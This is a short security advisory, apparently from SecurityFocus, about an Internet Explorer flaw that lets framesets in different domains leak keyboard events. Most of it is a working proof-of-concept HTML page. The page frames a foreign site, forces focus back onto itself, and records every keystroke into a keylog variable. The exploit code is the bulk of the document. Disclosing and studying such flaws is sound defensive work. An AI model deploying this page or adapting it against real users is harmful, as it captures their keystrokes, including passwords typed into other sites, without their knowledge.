source: http://www.securityfocus.com/bid/9761/info

Microsoft Internet Explorer is reported to be prone to an issue that may leak sensitive information across foreign domains.

This issue could permit framesets in different domains to leak various events, including keyboard events. This could effectively permit a hostile web page to capture keystrokes from a foreign domain. 

<html>
<head><title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">
<frame src="http://www.example.com" scrolling="auto">
</frameset>
</html> 